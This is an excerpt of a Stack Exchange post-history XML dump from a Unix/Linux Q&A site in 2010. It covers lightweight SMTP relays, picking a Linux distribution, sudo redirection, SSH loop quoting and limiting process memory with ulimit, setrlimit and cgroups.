  <row Id="2828" PostHistoryTypeId="2" PostId="1449" RevisionGUID="3af04a40-1ff8-4003-92c4-c7a47f8ffc4f" CreationDate="2010-09-01T00:27:52.323" UserId="346" Text="What do you use as a lightweight SMTP for outgoing e-mails only?&#xD;&#xA;&#xD;&#xA;I am running an app that sends e-mails via SMTP when events occur once in a while, and I dont need a fully featured e-mail server." />
  <row Id="2829" PostHistoryTypeId="1" PostId="1449" RevisionGUID="3af04a40-1ff8-4003-92c4-c7a47f8ffc4f" CreationDate="2010-09-01T00:27:52.323" UserId="346" Text="Lightweight outgoing SMTP server" />
  <row Id="2830" PostHistoryTypeId="3" PostId="1449" RevisionGUID="3af04a40-1ff8-4003-92c4-c7a47f8ffc4f" CreationDate="2010-09-01T00:27:52.323" UserId="346" Text="élinuxà" />
  <row Id="2831" PostHistoryTypeId="2" PostId="1450" RevisionGUID="533bd93b-8ff5-4c61-8686-5543cebacd3b" CreationDate="2010-09-01T00:47:40.970" UserId="1357" Text="I think the various major distros have few if any large differences in technical merit between them, and such differences tend to be greatly exaggerated by the partisans.&#xD;&#xA;&#xD;&#xA;In light of this, my theory is that the more users and developers are on a distro, the faster things will improve, the more hardware combinations will be well-tested, and the more software packages will supported on it.  So I favor picking one of the most popular, and sticking with it until it is clearly eclipsed by another. &#xD;&#xA;&#xD;&#xA;Exception: There are special cases for which this rule can be superseded - for example, if you work in an industry that favors some particular distribution, it may be more important for you to be just like everybody else in your industry, rather than use the most popular distro in the Linux world as a whole.&#xD;&#xA;" />
  <row Id="2832" PostHistoryTypeId="16" PostId="1450" RevisionGUID="533bd93b-8ff5-4c61-8686-5543cebacd3b" CreationDate="2010-09-01T00:47:40.970" UserId="-1" />
  <row Id="2833" PostHistoryTypeId="6" PostId="1449" RevisionGUID="812807e8-0f17-46cb-81a7-ed7fc8ebc038" CreationDate="2010-09-01T00:59:03.073" UserId="29" Comment="edited tags" Text="élinuxàésmtpàéserveràémailà" />
  <row Id="2834" PostHistoryTypeId="6" PostId="1449" RevisionGUID="3088bfa6-2fbf-4b6f-b02a-a6c148833e83" CreationDate="2010-09-01T01:00:00.263" UserId="29" Comment="edited tags" Text="ésmtpàéserveràémailà" />
  <row Id="2835" PostHistoryTypeId="2" PostId="1451" RevisionGUID="c6615524-78db-4869-ac69-1a23cc15c092" CreationDate="2010-09-01T01:31:33.543" UserId="487" Text="You may find sSMTP suitable for your needs. Read this [article](http://www.linux.com/archive/feature/132006) on it and its limitations.&#xD;&#xA;&#xD;&#xA;Honestly though, I wouldn't be too stressed about installing postfix or exim, even if it is only for sending emails. Just stay the hell away from sendmail. :-)" />
  <row Id="2836" PostHistoryTypeId="2" PostId="1452" RevisionGUID="6547a705-8e0d-4e24-860a-a9704b295551" CreationDate="2010-09-01T01:35:59.397" UserId="200" Text="You technically don't need an e-mail server on your host, what you need (and probably already have) is an smtp-client (or MUA) that can connect to your corporate SMTP Server (which could be anywhere you can connect to.)&#xD;&#xA;&#xD;&#xA;Depending on the App (and the programming language it was written in) there are many different ways for your app to connect to the 'the' SMTP Server on your network.&#xD;&#xA;&#xD;&#xA;Usually, with PHP or Python, there's a configuration file with the app to specify the &quot;SMTP&quot; Server (which can be on  your host or elsewhere on your network.) If you already have a mail server on the network, then just point the configuration to that server.&#xD;&#xA;&#xD;&#xA;If no other options exist, the app can generate the e-mail message to standard output that you can process with something like:&#xD;&#xA;&#xD;&#xA;listoftargets=&quot;me@example.com jab@example.com&quot;&#xD;&#xA;echo &quot;Test Content&quot; | mail -s &quot;Test Subject&quot; $listoftargets&#xD;&#xA;&#xD;&#xA;On some systems, there is already a minimal mailserver for sending only.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Sam T." />
  <row Id="2837" PostHistoryTypeId="2" PostId="1453" RevisionGUID="2adf4e54-1c5a-4dca-ba18-3625b2dd89fc" CreationDate="2010-09-01T02:13:03.950" UserId="1174" Text="I'm not very sure about this, but you could also use [cgroups][1] to limit the [memory usage][2]. The advantage of cgroups is that you can control processes that are already running. By the way [systemd][3] will use cgroups to control the system services.&#xD;&#xA;&#xD;&#xA;Unfortunately I've experimented a bit and they don't seem to work very well on my Fedora 13 system.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/doc/Documentation/cgroups/cgroups.txt&#xD;&#xA;  [2]: http://www.kernel.org/doc/Documentation/cgroups/memory.txt&#xD;&#xA;  [3]: http://0pointer.de/public/systemd-man/systemd.html" />
  <row Id="2838" PostHistoryTypeId="5" PostId="1418" RevisionGUID="ff8d96a0-f5f2-48ff-a48a-58a5502e55ca" CreationDate="2010-09-01T03:28:16.850" UserId="250" Comment="added 94 characters in body" Text="`tee` is surely a good choice, but how about this?&#xD;&#xA;&#xD;&#xA;    sudo -i eval &quot;echo test &gt; /tmp/foo&quot;&#xD;&#xA;&#xD;&#xA;EDIT: as per hop's comment, there is a better way&#xD;&#xA;&#xD;&#xA;    sudo sh -c &quot;echo test &gt; /tmp/foo&quot;" />
  <row Id="2839" PostHistoryTypeId="2" PostId="1454" RevisionGUID="2074a700-7f81-4d24-8dbc-537f4c70ef5e" CreationDate="2010-09-01T03:52:30.203" UserId="458" Text="I'm using [RVM][0] to manage my Ruby environment on OSX, and currently it's interpreting '1.9.2' as `ruby-1.9.2-rc2` instead of the final release. How can I update this to make it behave as expected?&#xD;&#xA;&#xD;&#xA;  [0]: http://rvm.beginrescueend.com" />
  <row Id="2840" PostHistoryTypeId="1" PostId="1454" RevisionGUID="2074a700-7f81-4d24-8dbc-537f4c70ef5e" CreationDate="2010-09-01T03:52:30.203" UserId="458" Text="How do I make the &quot;1.9.2&quot; Ruby string point to the final release with RVM?" />
  <row Id="2841" PostHistoryTypeId="3" PostId="1454" RevisionGUID="2074a700-7f81-4d24-8dbc-537f4c70ef5e" CreationDate="2010-09-01T03:52:30.203" UserId="458" Text="ébashà" />
  <row Id="2842" PostHistoryTypeId="2" PostId="1455" RevisionGUID="37fbd57a-6c4c-4e4b-84fc-d4966faba31a" CreationDate="2010-09-01T04:19:03.917" UserId="1299" Text="[ESMTP][1] is a relay only mail transfer server that may work for your application.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://esmtp.sourceforge.net/" />
  <row Id="2843" PostHistoryTypeId="2" PostId="1456" RevisionGUID="01a9261c-af60-441b-8bfc-162aa161f43c" CreationDate="2010-09-01T06:46:12.297" UserId="1364" Text="Assuming you need a program you can run from the shell like sendmail(8), perhaps [MSMTP][1] will fit your needs?  It can connect to a remote SMTP server and submit mail it gets as stdin, just like sendmail.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msmtp.sourceforge.net/" />
  <row Id="2844" PostHistoryTypeId="5" PostId="1438" RevisionGUID="00e22cbd-d2da-440b-b344-e6f4f56081ef" CreationDate="2010-09-01T07:29:55.087" UserId="1353" Comment="added 210 characters in body; added 10 characters in body; edited body" Text="There is the [setrlimit() function][rl], which allows to configure a process' limits in C. Write a C program to call setrlimit then to exec the command you want to be limited. setrlimit cannot change other processes' limits.&#xD;&#xA;&#xD;&#xA;Luckily someone already wrote something similar. It can be downloaded from [freshmeat][fm]. I had a quick look at the source code and it seems to be fine. Use rlimit at your own discretion. Note that rlimit also cannot change other processes' limits.&#xD;&#xA;&#xD;&#xA;**Edit:** Gilles proposed a nice hack with gdb: Attach to the process with gdb then make the process call setrlimit. This would perhaps solve the problem to limit an already running process.&#xD;&#xA;&#xD;&#xA;[rl]: http://linux.die.net/man/2/setrlimit&#xD;&#xA;[fm]: http://freshmeat.net/projects/rlimit" />
  <row Id="2845" PostHistoryTypeId="5" PostId="1291" RevisionGUID="17b9557e-64fb-4da8-aa67-5285b6932b22" CreationDate="2010-09-01T07:50:23.797" UserId="261" Comment="added 409 characters in body" Text="Let people explore themselves. [alternativeto.net][1] allows you to find alternative applications for different operating systems.&#xD;&#xA;&#xD;&#xA;People love pictures, [whylinuxisbetter.net][2] has a great summary style landing page with pictures, click on them for a detailed breakdown.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;**Update**: There are so [many sites that advocate GNU/Linux][3], and just found [this list of links][4] that will keep anyone busy for quite a while.&#xD;&#xA;&#xD;&#xA;There is also sites like http://badvista.fsf.org that advocate via FUD, but I think it's best to stick to sites that focus on the positive of Linux, and not the negatives of the competition (for newbies at least).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://alternativeto.net&#xD;&#xA;  [2]: http://www.whylinuxisbetter.net&#xD;&#xA;  [3]: http://www.google.com/search?q=list+of+linux+advocacy+sites&#xD;&#xA;  [4]: http://lottalinuxlinks.com/Advocacy/index.html" />
  <row Id="2846" PostHistoryTypeId="2" PostId="1457" RevisionGUID="bba741df-75dc-4208-ac7d-5d0ec64304c1" CreationDate="2010-09-01T08:27:41.617" UserId="261" Text="I start by looking at what I want to use the machine for:&#xD;&#xA;&#xD;&#xA;* Primary machine - distro I know well and I'm comfortable with&#xD;&#xA;* Spare machine - distro I don't know, and I want to learn it&#xD;&#xA;* Special cases: HTPC, MAME box, proxy - distro catered to these needs&#xD;&#xA;&#xD;&#xA;The great thing about the *nixes is that you can configure any one of them for any specific need you want. Distros just allow you to reach those niches without all the manual config.&#xD;&#xA;&#xD;&#xA;[DistroWatch][1] would be a good place to research. You can find the latest distros if you want to go the cutting-edge route, or the most popular if you want to go that route. The [Weekly column][2] could also give you some insight.&#xD;&#xA;&#xD;&#xA;I don't have too much BSD experience, so I would go that route. But that's just me.&#xD;&#xA;&#xD;&#xA;  [1]: http://distrowatch.com/&#xD;&#xA;  [2]: http://distrowatch.com/weekly.php?issue=20100830" />
  <row Id="2847" PostHistoryTypeId="16" PostId="1457" RevisionGUID="bba741df-75dc-4208-ac7d-5d0ec64304c1" CreationDate="2010-09-01T08:27:41.617" UserId="-1" />
  <row Id="2849" PostHistoryTypeId="5" PostId="1419" RevisionGUID="c4b9758e-b566-42f4-9b4a-05c010262bd1" CreationDate="2010-09-01T08:42:46.787" UserId="269" Comment="added 23 characters in body; edited title" Text="When trying to print I get this error. What does it mean? How can I diagnose it?&#xD;&#xA;" />
  <row Id="2850" PostHistoryTypeId="4" PostId="1419" RevisionGUID="c4b9758e-b566-42f4-9b4a-05c010262bd1" CreationDate="2010-09-01T08:42:46.787" UserId="269" Comment="added 23 characters in body; edited title" Text="What does &quot;Empty print file&quot; mean and how can I diagnose it?" />
  <row Id="2851" PostHistoryTypeId="5" PostId="1449" RevisionGUID="2ae74793-ed52-405e-881d-48c3ba3b9080" CreationDate="2010-09-01T09:58:51.120" UserId="346" Comment="added 171 characters in body" Text="What do you use as a lightweight SMTP for outgoing e-mails only?&#xD;&#xA;&#xD;&#xA;I am running an app that sends e-mails via SMTP when events occur once in a while, and I dont need a fully featured e-mail server.&#xD;&#xA;&#xD;&#xA;EDIT: I am more than happy to use something like postfix (and do), if thats the best choice. I was thinking there may be something much simpler, that runs out the box." />
  <row Id="2852" PostHistoryTypeId="2" PostId="1458" RevisionGUID="fceb4844-4221-4915-893d-1ea43c956b67" CreationDate="2010-09-01T10:38:14.810" UserId="1339" Text="mdadm supports dealloc.&#xD;&#xA;&#xD;&#xA;`commit=sec` is the time, the filesystem syncs its data and metadata. Setting this to 0 has the same effect as using the default value 5.&#xD;&#xA;&#xD;&#xA;So I don't get the link between mdadm and commit=0 in your question?" />
  <row Id="2853" PostHistoryTypeId="2" PostId="1459" RevisionGUID="67f53500-88c4-4bde-b0ef-fd1ab55e7b94" CreationDate="2010-09-01T11:07:47.420" UserId="461" Text="Hi&#xD;&#xA;&#xD;&#xA;I have the following in a script&#xD;&#xA;&#xD;&#xA;    for server in ${servers[@]}; do&#xD;&#xA;     echo ${server}&#xD;&#xA;     ssh user@${server} &quot;for i in /tmp/foo* ; do echo ${i}; done&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;But it doesn't work. Weird thing, I see $i amount of return lines. So if I have ten files, I see ten blank lines." />
  <row Id="2854" PostHistoryTypeId="1" PostId="1459" RevisionGUID="67f53500-88c4-4bde-b0ef-fd1ab55e7b94" CreationDate="2010-09-01T11:07:47.420" UserId="461" Text="Remote for loop over SSH" />
  <row Id="2855" PostHistoryTypeId="3" PostId="1459" RevisionGUID="67f53500-88c4-4bde-b0ef-fd1ab55e7b94" CreationDate="2010-09-01T11:07:47.420" UserId="461" Text="ébashàésshà" />
  <row Id="2856" PostHistoryTypeId="2" PostId="1460" RevisionGUID="18ce90e7-940c-48f3-8e18-1e814f7fad5e" CreationDate="2010-09-01T11:12:04.353" UserId="601" Text="Your local shell interpretes the `${i}` within double quotes (`&quot;`), so the command works out to&#xD;&#xA;&#xD;&#xA;    ssh user@some.serv.er &quot;for i in /tmp/foo* ; do echo ''; done&quot;&#xD;&#xA;&#xD;&#xA;Simply use single quotes (`'`) instead and your problem will disappear." />
  <row Id="2857" PostHistoryTypeId="2" PostId="1461" RevisionGUID="980a2f5c-acef-42ff-aa0e-f14c2e96c1ae" CreationDate="2010-09-01T11:13:30.337" UserDisplayName="delete" Text="In [this Wikipedia article it gives a bunch of X11 colours][1] but they are different from the ones on my FreeBSD system. For example I have no &quot;aqua&quot; or &quot;fuchsia&quot; but, e.g. aquamarine1, etc. and many other numbered colours. Why is that?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/X11_color_names" />
  <row Id="2858" PostHistoryTypeId="1" PostId="1461" RevisionGUID="980a2f5c-acef-42ff-aa0e-f14c2e96c1ae" CreationDate="2010-09-01T11:13:30.337" UserDisplayName="delete" Text="Why are the X11 colours different from Wikipedia's?" />
  <row Id="2859" PostHistoryTypeId="3" PostId="1461" RevisionGUID="980a2f5c-acef-42ff-aa0e-f14c2e96c1ae" CreationDate="2010-09-01T11:13:30.337" UserDisplayName="delete" Text="éxorgà" />
  <row Id="2860" PostHistoryTypeId="2" PostId="1462" RevisionGUID="f158bcd0-ddbf-4d74-89f5-21f7241fcf0f" CreationDate="2010-09-01T11:24:33.267" UserId="601" Text="There are several choices of minimal, relay-only mail transfer agents (MTAs, or &quot;mail servers&quot;), some of which have been mentioned in other answers:&#xD;&#xA;&#xD;&#xA; * esmtp http://esmtp.sourceforge.net/&#xD;&#xA; * nullmailer http://untroubled.org/nullmailer/ (my personal favourite)&#xD;&#xA; * sSMTP http://packages.debian.org/source/sid/ssmtp (development has stopped, i think)&#xD;&#xA;&#xD;&#xA;For either of those to work, you need a full fledged MTA somewhere that will further relay your messages (known as &quot;mail hub&quot;)." />
  <row Id="2861" PostHistoryTypeId="2" PostId="1463" RevisionGUID="9360002b-b05d-48e6-a4c2-0a21bd859e67" CreationDate="2010-09-01T11:26:03.470" UserId="125" Text="The differences among Linux distributions are not cosmically significant. In fact,&#xD;&#xA;it is something of a mystery why there are so many different distributions, each&#xD;&#xA;claiming “easy installation” and “a massive software library” as its distinguishing&#xD;&#xA;features. It’s hard to avoid the conclusion that people just like to make new Linux&#xD;&#xA;distributions.&#xD;&#xA;&#xD;&#xA;The most viable distributions are not necessarily the most corporate. For example,&#xD;&#xA;we expect Debian GNU/Linux to remain viable for a long time despite the fact that Debian is not a company, doesn’t sell anything, and offers no formal, on-demand support. Debian itself isn’t one of the most widely used distributions, but it benefits from a committed group of contributors and from the enormous popularity of the Ubuntu distribution, which is based on it.&#xD;&#xA;&#xD;&#xA;When you adopt a distribution, you are making an investment in a particular vendor’s way of doing things. Instead of looking only at the features of the installed software, it’s wise to consider how your organization and that vendor are going to work with each other in the years to come.&#xD;&#xA;&#xD;&#xA;**Some important questions to ask are:&#xD;&#xA;&#xD;&#xA; • Is this distribution going to be around in five years?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to stay on top of the latest security patches?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to release updated software promptly?&#xD;&#xA;&#xD;&#xA; • If I have problems, will the vendor talk to me?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;What I would choose:&#xD;&#xA;&#xD;&#xA;**Linuxes**: Ubuntu (Kubuntu), Debian, openSUSE (SUSE Linux Enterprise), Fedora (Red Hat Enterprise Linux, CentOS), ArchLinux&#xD;&#xA;&#xD;&#xA;**UNIXes**: Solaris, HP-UX, and AIX&#xD;&#xA;&#xD;&#xA;**BSDs**: FreeBSD, PC-BSD, NetBSD, OpenBSD&#xD;&#xA;&#xD;&#xA;If you're looking for a GNU/Linux distro you should definitely check these websites:&#xD;&#xA;&#xD;&#xA; - http://lwn.net/Distributions/&#xD;&#xA;   &#xD;&#xA; - http://distrowatch.com/&#xD;&#xA;&#xD;&#xA; - http://www.linux.org/dist&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Credit: Some information in this post is taken from [&quot;UNIX and Linux System Administration Handbook&quot;][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/q0dG7.jpg&#xD;&#xA;  [2]: http://admin.com/" />
  <row Id="2862" PostHistoryTypeId="16" PostId="1463" RevisionGUID="9360002b-b05d-48e6-a4c2-0a21bd859e67" CreationDate="2010-09-01T11:26:03.470" UserId="-1" />
  <row Id="2863" PostHistoryTypeId="5" PostId="1460" RevisionGUID="a23d6e2b-3c26-44a1-bade-cab7e135d74d" CreationDate="2010-09-01T11:30:44.783" UserId="601" Comment="deleted 3 characters in body" Text="Your local shell interpretes the `${i}` within double quotes (`&quot;`), so the command works out to&#xD;&#xA;&#xD;&#xA;    ssh user@some.serv.er &quot;for i in /tmp/foo* ; do echo; done&quot;&#xD;&#xA;&#xD;&#xA;Simply use single quotes (`'`) instead and your problem will disappear." />
  <row Id="2864" PostHistoryTypeId="5" PostId="1463" RevisionGUID="f8be390f-9457-4c5e-881f-dad091f49b43" CreationDate="2010-09-01T11:31:55.290" UserId="125" Comment="added 68 characters in body; deleted 11 characters in body" Text="The differences among Linux distributions are not cosmically significant. In fact,&#xD;&#xA;it is something of a mystery why there are so many different distributions, each&#xD;&#xA;claiming “easy installation” and “a massive software library” as its distinguishing&#xD;&#xA;features. It’s hard to avoid the conclusion that people just like to make new Linux&#xD;&#xA;distributions.&#xD;&#xA;&#xD;&#xA;The most viable distributions are not necessarily the most corporate. For example,&#xD;&#xA;we expect Debian GNU/Linux to remain viable for a long time despite the fact that Debian is not a company, doesn’t sell anything, and offers no formal, on-demand support. Debian itself isn’t one of the most widely used distributions, but it benefits from a committed group of contributors and from the enormous popularity of the Ubuntu distribution, which is based on it.&#xD;&#xA;&#xD;&#xA;When you adopt a distribution, you are making an investment in a particular vendor’s way of doing things. Instead of looking only at the features of the installed software, it’s wise to consider how your organization and that vendor are going to work with each other in the years to come.&#xD;&#xA;&#xD;&#xA;**Some important questions to ask are:&#xD;&#xA;&#xD;&#xA; • Is this distribution going to be around in five years?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to stay on top of the latest security patches?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to release updated software promptly?&#xD;&#xA;&#xD;&#xA; • If I have problems, will the vendor talk to me?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;What I would choose:&#xD;&#xA;&#xD;&#xA;**Linuxes**: Ubuntu (Kubuntu), Debian, openSUSE (SUSE Linux Enterprise), Fedora (Red Hat Enterprise Linux, CentOS)&#xD;&#xA;&#xD;&#xA;**UNIXes**: Solaris, HP-UX, and AIX&#xD;&#xA;&#xD;&#xA;**BSDs**: FreeBSD, PC-BSD, NetBSD, OpenBSD&#xD;&#xA;&#xD;&#xA;If you're looking for a GNU/Linux distro you should definitely check these websites:&#xD;&#xA;&#xD;&#xA; - http://lwn.net/Distributions/&#xD;&#xA;   &#xD;&#xA; - http://distrowatch.com/&#xD;&#xA;&#xD;&#xA; - http://www.linux.org/dist&#xD;&#xA;&#xD;&#xA;If you're looking for a BSD you should check: http://bsdstats.org/&#xD;&#xA;&#xD;&#xA;Credit: Some information in this post is taken from [&quot;UNIX and Linux System Administration Handbook&quot;][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/q0dG7.jpg&#xD;&#xA;  [2]: http://admin.com/" />
  <row Id="2865" PostHistoryTypeId="5" PostId="1463" RevisionGUID="bdb82cd0-1f28-4818-9f18-07e78fa1d035" CreationDate="2010-09-01T11:48:32.477" UserId="125" Comment="added 578 characters in body; added 186 characters in body; added 9 characters in body" Text="The differences among Linux distributions are not cosmically significant. In fact,&#xD;&#xA;it is something of a mystery why there are so many different distributions, each&#xD;&#xA;claiming “easy installation” and “a massive software library” as its distinguishing&#xD;&#xA;features. It’s hard to avoid the conclusion that people just like to make new Linux&#xD;&#xA;distributions.&#xD;&#xA;&#xD;&#xA;The most viable distributions are not necessarily the most corporate. For example,&#xD;&#xA;we expect Debian GNU/Linux to remain viable for a long time despite the fact that Debian is not a company, doesn’t sell anything, and offers no formal, on-demand support. Debian itself isn’t one of the most widely used distributions, but it benefits from a committed group of contributors and from the enormous popularity of the Ubuntu distribution, which is based on it.&#xD;&#xA;&#xD;&#xA;When you adopt a distribution, you are making an investment in a particular vendor’s way of doing things. Instead of looking only at the features of the installed software, it’s wise to consider how your organization and that vendor are going to work with each other in the years to come.&#xD;&#xA;&#xD;&#xA;**Some important questions to ask are:&#xD;&#xA;&#xD;&#xA; • Is this distribution going to be around in five years?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to stay on top of the latest security patches?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to release updated software promptly?&#xD;&#xA;&#xD;&#xA; • If I have problems, will the vendor talk to me?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;What I would choose:&#xD;&#xA;&#xD;&#xA;**Linuxes**: Ubuntu (Kubuntu), Debian, openSUSE (SUSE Linux Enterprise), Fedora (Red Hat Enterprise Linux, CentOS)&#xD;&#xA;&#xD;&#xA;**UNIXes**: Solaris, HP-UX, and AIX&#xD;&#xA;&#xD;&#xA;**BSDs**: FreeBSD, PC-BSD, NetBSD, OpenBSD&#xD;&#xA;&#xD;&#xA;If you're looking for a GNU/Linux distro you should definitely check these websites:&#xD;&#xA;&#xD;&#xA; - http://lwn.net/Distributions/&#xD;&#xA;   &#xD;&#xA; - http://distrowatch.com/&#xD;&#xA;&#xD;&#xA; - http://www.linux.org/dist&#xD;&#xA;&#xD;&#xA;If you're looking for a BSD you should check: http://bsdstats.org/&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Server oriented:&#xD;&#xA;&#xD;&#xA;- FreeBSD -&gt; http://www.freebsd.org/&#xD;&#xA;&#xD;&#xA;- Red Hat Enterprise Linux -&gt; http://www.redhat.com/rhel/&#xD;&#xA;&#xD;&#xA;- CentOS -&gt; http://www.centos.org/&#xD;&#xA;&#xD;&#xA;- Oracle Enterprise Linux -&gt; http://www.oracle.com/us/technologies/linux/index.html&#xD;&#xA;&#xD;&#xA;- SUSE Linux Enterprise Server -&gt; http://www.novell.com/products/server/&#xD;&#xA;&#xD;&#xA;- Debian -&gt; http://www.debian.org/&#xD;&#xA;&#xD;&#xA;- Ubuntu Server -&gt; http://www.ubuntu.com/server&#xD;&#xA;&#xD;&#xA;Small Business Server:&#xD;&#xA;&#xD;&#xA;- eBox Platform -&gt; http://ebox-platform.com/&#xD;&#xA;&#xD;&#xA;- ClearOS -&gt; http://www.clearfoundation.com/&#xD;&#xA;&#xD;&#xA;- SME Server -&gt; http://wiki.contribs.org/Main_Page&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Credit: Some information in this post is taken from [&quot;UNIX and Linux System Administration Handbook&quot;][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/q0dG7.jpg&#xD;&#xA;  [2]: http://admin.com/" />
  <row Id="2866" PostHistoryTypeId="5" PostId="1463" RevisionGUID="fb9e46ad-5140-4919-94cd-f31205e41ee9" CreationDate="2010-09-01T11:53:37.493" UserId="125" Comment="deleted 23 characters in body; added 52 characters in body; deleted 52 characters in body" Text="The differences among Linux distributions are not cosmically significant. In fact,&#xD;&#xA;it is something of a mystery why there are so many different distributions, each&#xD;&#xA;claiming “easy installation” and “a massive software library” as its distinguishing&#xD;&#xA;features. It’s hard to avoid the conclusion that people just like to make new Linux&#xD;&#xA;distributions.&#xD;&#xA;&#xD;&#xA;The most viable distributions are not necessarily the most corporate. For example,&#xD;&#xA;we expect Debian GNU/Linux to remain viable for a long time despite the fact that Debian is not a company, doesn’t sell anything, and offers no formal, on-demand support. Debian itself isn’t one of the most widely used distributions, but it benefits from a committed group of contributors and from the enormous popularity of the Ubuntu distribution, which is based on it.&#xD;&#xA;&#xD;&#xA;When you adopt a distribution, you are making an investment in a particular vendor’s way of doing things. Instead of looking only at the features of the installed software, it’s wise to consider how your organization and that vendor are going to work with each other in the years to come.&#xD;&#xA;&#xD;&#xA;**Some important questions to ask are:&#xD;&#xA;&#xD;&#xA; • Is this distribution going to be around in five years?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to stay on top of the latest security patches?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to release updated software promptly?&#xD;&#xA;&#xD;&#xA; • If I have problems, will the vendor talk to me?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're looking for a GNU/Linux distro you should definitely check these websites:&#xD;&#xA;&#xD;&#xA; - http://lwn.net/Distributions/&#xD;&#xA;   &#xD;&#xA; - http://distrowatch.com/&#xD;&#xA;&#xD;&#xA; - http://www.linux.org/dist&#xD;&#xA;&#xD;&#xA;If you're looking for a BSD you should check: http://bsdstats.org/&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Server oriented:&#xD;&#xA;&#xD;&#xA;- FreeBSD -&gt; http://www.freebsd.org/&#xD;&#xA;&#xD;&#xA;- Red Hat Enterprise Linux -&gt; http://www.redhat.com/rhel/&#xD;&#xA;&#xD;&#xA;- CentOS -&gt; http://www.centos.org/&#xD;&#xA;&#xD;&#xA;- Oracle Enterprise Linux -&gt; http://www.oracle.com/us/technologies/linux/index.html&#xD;&#xA;&#xD;&#xA;- SUSE Linux Enterprise Server -&gt; http://www.novell.com/products/server/&#xD;&#xA;&#xD;&#xA;- Debian -&gt; http://www.debian.org/&#xD;&#xA;&#xD;&#xA;- Ubuntu Server -&gt; http://www.ubuntu.com/server&#xD;&#xA;&#xD;&#xA;Small Business Server:&#xD;&#xA;&#xD;&#xA;- eBox Platform -&gt; http://ebox-platform.com/&#xD;&#xA;&#xD;&#xA;- ClearOS -&gt; http://www.clearfoundation.com/&#xD;&#xA;&#xD;&#xA;- SME Server -&gt; http://wiki.contribs.org/Main_Page&#xD;&#xA;&#xD;&#xA;What I would choose:&#xD;&#xA;&#xD;&#xA;**Linuxes**: Ubuntu (Kubuntu), openSUSE (SUSE Linux Enterprise), Fedora (Red Hat Enterprise Linux, CentOS)&#xD;&#xA;&#xD;&#xA;**UNIXes**: Solaris, HP-UX, and AIX&#xD;&#xA;&#xD;&#xA;**BSDs**: FreeBSD, PC-BSD&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Credit: Some information in this post is taken from [&quot;UNIX and Linux System Administration Handbook&quot;][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/q0dG7.jpg&#xD;&#xA;  [2]: http://admin.com/" />
  <row Id="2867" PostHistoryTypeId="2" PostId="1464" RevisionGUID="f3a6a855-f33a-4b97-bf69-cea066b1cdaf" CreationDate="2010-09-01T11:56:38.230" UserId="57" Text="I am using vim 7.2 from putty terminal.  &#xD;&#xA;Even if I run `set noai` it seems vim still trying to indent code.&#xD;&#xA;I am copying my code from Notepad++ to vim.&#xD;&#xA;following is from Notepad++&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and following what I got in vim:  &#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;I don't have any tab in my file.  &#xD;&#xA;As a workaround I am opening old vi run `set noai` paste save and open in vim again.&#xD;&#xA;Any suggestion how to correct this behavior ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/S1tBL.png&#xD;&#xA;  [2]: http://i.imgur.com/A0OCN.png" />
  <row Id="2868" PostHistoryTypeId="1" PostId="1464" RevisionGUID="f3a6a855-f33a-4b97-bf69-cea066b1cdaf" CreationDate="2010-09-01T11:56:38.230" UserId="57" Text="vim auto indenting even after setting noai opetion" />
  <row Id="2869" PostHistoryTypeId="3" PostId="1464" RevisionGUID="f3a6a855-f33a-4b97-bf69-cea066b1cdaf" CreationDate="2010-09-01T11:56:38.230" UserId="57" Text="éunixàévimà" />
  <row Id="2870" PostHistoryTypeId="5" PostId="1425" RevisionGUID="7e027d41-2b26-44bd-a567-f7401774d1ae" CreationDate="2010-09-01T12:05:47.743" UserId="1290" Comment="added 101 characters in body; added 250 characters in body" Text="`ulimit -v`, it's a shell builtin, but it should do what you want.&#xD;&#xA;&#xD;&#xA;I use that in init scripts sometimes:&#xD;&#xA;&#xD;&#xA;    ulimit -v 128k&#xD;&#xA;    command&#xD;&#xA;    ulimit -v unlimited&#xD;&#xA;&#xD;&#xA;It seems however, that you want ways of manipulating the maximum allocatable memory while the program is running, is that correct? Probably something like `renice` for manipulating the Priority.&#xD;&#xA;&#xD;&#xA;There is, however, no such tool to my knowledge." />
